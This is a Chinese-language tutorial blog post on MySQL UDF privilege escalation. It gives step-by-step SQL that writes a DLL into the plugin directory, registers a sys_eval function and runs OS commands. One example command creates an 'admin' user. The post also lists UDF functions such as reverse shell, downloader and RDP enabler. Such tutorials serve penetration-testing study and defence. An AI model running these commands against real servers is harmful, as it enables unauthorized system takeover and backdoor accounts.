弄了两三天的UDF提权复现,遇到各种坑,也尝试了在实际渗透场景中的应用,所以总结了部分经验。此篇文章主要涉及mysql数据库中udf提权的讲解、以及UDF提权可能涉及的问题。

--目录结构--

原理讲解

0x00何谓UDF提权

0x02 UDF提权步骤

UDF(user defined function,即’用户自定义函数’),是mysql数据库的一个特性,允许用户写入自定义函数,对mysql功能进行扩充。存在形式是dll文件,把自定义的函数存于dll文件中。

那么问题来了,如果定义可执行系统命令的函数,我们的权限是不是就可以直接从执行SQL语句到执行系统命令了??答案是肯定的,这就是UDF提权。

使用UDF分为三步:

1.把含义自定义函数(如执行系统命令函数“sys_eval”)的dll文件放入特定文件夹下。

2.声明引入这个dll文件中的自定义函数。

3.使用自定义的函数。

其实,从我们介绍“UDF提权的定义”以及“如何使用UDF”。我们就能大概知道怎么去使用UDF提权的思路,跟“如何使用UDF”的步骤一致。只是我们需要注意到mysql版本的不同,其中的利用方式也不同。

1.把含义自定义函数(如执行系统命令函数“sys_eval”)的dll文件放入“特定文件夹”下。

由于mysql版本不同,dll文件需要放入特定的文件夹下才能生效:

a. mysql<5.1,则需要导出至目标服务器的系统目录(如:system32)b.mysql>5.1,需要使用放在Mysql根目录的lib\plugin文件夹下。否则在后面的操作中你会看到“No paths allowed for shared library”错误

把dll文件放入到特定的“文件夹”下方式有很多种:

方式a.如何你有webshell或有能操作文件的任何方式(比如远程登录),直接把dll文件放入特定文件夹下。文件名可以自定义,比如我喜欢命名为“udf.dll”。比如用“菜刀”操作文件

udf.dll文件下载链接:

方式b.也可以使用sql语句导入(写)一个dll文件。(只有sql语句执行权限最适合用此方法)

//新建一个表,名为udftest,表中含有类型blob的字段,用于存放本地传来的udf文件的内容。

CREATE TABLE udftest (data blob);

//在udftmp中写入udf文件内容

INSERT INTO udftest values(unhex('udf文件的16进制格式'));

(udf16进制文件下载链接: 密码:q98c)

//找到mysql安装路径

select @@basedir;

//将刚刚导入到udftest表中存储的UDF文件内容传入新建的udf文件中,路径根据自己的@@basedir修改,对于mysql<5.1的,导出目录为C:\Windows\或C:\Windows\System32\,对于mysql>=5.1的,放入其目录下的\lib\plugin目录中。

SELECT data FROM udftest INTO DUMPFILE 'C:\\Program Files\\MySQL\\MySQL Server     5.5\\lib\\plugin\\udf.dll';(注意:需要在my.ini中的”[mysqld]”下设置“secure-file-priv=“””,否则会出现如下图错误。高版本中secure-file-priv的作用限制了MySQL文件的导出,了解secure-file-priv请参考:)

其中,最后一步,导出udf.dll文件在mysql>5.1版本中可能会出现问题,mysql>5.有些默认没有plugin目录,需要我们自己创建,网上有说可以使用ntfs数据流创建,我尝试没有成功,就不在这写了。但自我尝试,安装了mysql插件的都会有这个plugin目录。

执行完之后就会在服务器上发现新建的udf.dll文件。

2.声明引入这个dll文件中的自定义函数。

Dll文件导入成功后(无论哪种导入方式均可以,只要secure-file-priv开启就行),相当于引入了一个函数库或包,我们需要去声明,才能引用里面的函数。格式是:

CREATE FUNCTION 函数名 RETURNS STRING SONAME '导出的dll';

CREATE FUNCTION sys_eval     RETURNS STRING SONAME 'udf.dll';

其中,‘sys_eval’代表我们要引入的函数,也可以使用别的函数。

常用函数名:

cmdshell     执行cmd;

downloader  下载者,到网上下载指定文件并保存到指定目录;

open3389    通用开3389终端服务,可指定端口(不改端口无需重启);

backshell     反弹Shell;

ProcessView  枚举系统进程;

KillProcess    终止指定进程;

regread      读注册表;

regwrite      写注册表;

shut         关机,注销,重启;

about        说明与帮助函数;

’udf.dll'代表我们上一步创建的文件;

dll文件名称是自定义的,由上一步创建的文件名决定。例如上一步创建的是udf111.dll,那这时命令应该变成:

CREATE FUNCTION sys_eval     RETURNS STRING SONAME 'udf.dll';

3.使用自定义的函数。

我们可以使用如下命令来执行系统命令

select sys_eval('系统命令');

例如我们执行如下命令:

select sys_eval('net user admin admin /add');

就会发现新建了一个用户-admin

有些人对于UDF提权有一些错误的认知。认为UDF提权只是影响windows和mysql。但UDF(用户自定义函数)不仅仅是影响着Windows系统,也影响Linux系统。不仅仅影响Mysql,也影响Postgrepsql。这篇文章也只是以windows系统和mysql数据库来做了一个演示而已,重点在于理解这个过程。

蘑菇安全欢迎大家的分享与关注!